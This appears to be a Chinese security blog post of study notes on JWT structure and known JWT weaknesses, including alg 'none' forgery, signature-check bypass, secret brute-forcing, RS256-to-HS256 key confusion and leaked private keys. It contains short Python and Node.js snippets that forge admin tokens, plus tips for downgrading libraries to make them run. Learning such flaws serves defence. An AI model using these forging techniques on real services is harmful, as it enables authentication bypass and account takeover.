JWT常见安全问题学习总结

Json web token(JWT),是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准(RFC 7519)。它定义了一种紧凑且自包含的方式,用于在各方之间安全地传输信息作为JSON对象,特别适用于分布式站点的单点登录(SSO)场景。

结构

jwt由三部分组成:headerpayloadsignature,用点.分隔

header用来声明token的类型和签名用的算法等

示例

1
2
3
4
{
"alg": "HS256",
"typ": "JWT"
}

经过Base64Url编码后构成了JWT的第一部分

payload

payload就是存放有效信息的地方

示例

1
2
3
4
5
{
"sub": "1234567890",
"name": "John Doe",
"admin": true
}

它的声明有三类:已注册声明(Registered claims),公共声明(public claims), 私人声明(private claims)

其中已注册声明有7个默认字段,都由官方所定义(参考rfc7519),但并不都是必需的

1
2
3
4
5
6
7
iss (issuer):JWT的发行者
exp (expiration time):过期时间
sub (subject):JWT面向的主题
aud (audience):JWT的用户
nbf (Not Before):生效时间
iat (Issued At):签发时间
jti (JWT ID):JWT唯一标识

公共声明:这些可以由使用JWT的人随意定义。但是为了避免冲突,它们应该在IANA JSON Web令牌注册表中定义,或者定义为包含抗冲突命名空间的 URI。
私人声明:这些是为在同意使用它们的各方之间共享信息而创建的自定义声明,既不是注册声明也不是公共声明

经过Base64Url编码后构成了JWT的第二部分

signature

签名用于验证消息在此过程中没有被更改

这个部分需要Base64Url编码后的headerBase64Url编码后的payload使用.连接,组成字符串,然后通过header中声明的加密方式进行加盐secret组合加密,然后就构成了jwt的第三部分

如果要使用HMAC SHA256算法,将按以下方式创建签名

1
2
3
4
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret)

secret是保存在服务端的,jwt的签发生成也是在服务端的,secret就是用来进行jwt的签发和jwt的验证,所以一旦客户端得知这个secret, 那就意味着客户端可以自我签发jwt了

安全问题

敏感信息泄露

因为payloadheader只经过Base64Url编码,如果开发者把一些敏感信息存放到里面,我们可以轻松获得

未校验签名

某些服务端并未校验JWT签名,所以,可以尝试修改signature后(或者直接删除signature)看其是否还有效。

签名算法置空(CVE-2015-2951)

我们知道,签名算法可以确保JWT在传输过程中不会被恶意用户所篡改

但头部中的alg字段却可以改为none,服务端接收到后会将其认定为无加密算法, 于是对signature的检验也就失效了,那么我们就可以随意修改payload部分伪造token

因为jwt.ioalgnone视为恶意行为,所以无法通过在线工具生成JWT,可以用pythonjwt库来实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import jwt


token_dict = {
"iss": "admin",
"iat": 1674031091,
"exp": 1674038291,
"nbf": 1674031091,
"sub": "admin",
"jti": "e41ff441b04bf337ab3ca715f64a76e1"
}

headers = {
"alg": "none",
"typ": "JWT"
}


jwt_token = jwt.encode(token_dict,
"", # 进行加密签名的密钥
algorithm="none", # 指明签名算法方式, 默认也是HS256
headers=headers
)

print(jwt_token)

运行结果
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY3NDAzMTA5MSwiZXhwIjoxNjc0MDM4MjkxLCJuYmYiOjE2NzQwMzEwOTEsInN1YiI6ImFkbWluIiwianRpIjoiZTQxZmY0NDFiMDRiZjMzN2FiM2NhNzE1ZjY0YTc2ZTEifQ.

签名密钥爆破

JWT使用算法对headerpayload进行加密,如果我们可以爆破出加密密钥,那么也就可以随意修改token

Github-jwt爆破脚本

非对称密码算法=>对称密码算法(CVE-2016-10555)

JWT的签名加密算法有两种,对称加密算法和非对称加密算法

对称加密算法比如HS256使用密钥为所有消息进行签名和验证
非对称加密算法比如RS256使用私钥对消息进行签名并使用公钥进行身份验证

如果我们获取到了公钥,可以将头部中的算法修改从RS256更改为HS256,这样后端代码就会使用RSA公钥+HS256算法进行签名验证

js代码实现例子

1
2
3
4
5
const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)

python代码实现例子

不过用python跑的时候因为jwt版本过高会报错The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret
解决方法:pip install pyjwt==0.4.3

1
2
3
import jwt
public = open('public.pem', 'r').read()
print(jwt.encode({"data":"test"}, key=public, algorithm='HS256'))

私钥泄露

因为非对称加密算法利用私钥生成jwt,利用公钥解密jwt,所以我们只要有私钥然后自己就可以重新生成

1
2
3
4
5
const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('private.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'RS256' });
console.log(token)

如果运行报错Error: secretOrPrivateKey has a minimum key size of 2048 bits for RS256
可以强行注释node_modules\jsonwebtoken\sign.js中对于密钥长度的判断

其他

听说还有通过KID实现任意文件读取,注入等操作,CVE-2018-0114,CVE-2022-39227,下次抽空研究下

工具

jwtio
jwt_tool
c-jwt-cracker

参考文章:
JSON Web Token (JWT) 攻击技巧
JWT原理及常见攻击方式
JWT总结
CVE-2022-39227漏洞分析


JWT常见安全问题学习总结
https://www.dr0n.top/posts/40e1eb99/
作者
dr0n
发布于
2023年1月5日
更新于
2024年3月21日
许可协议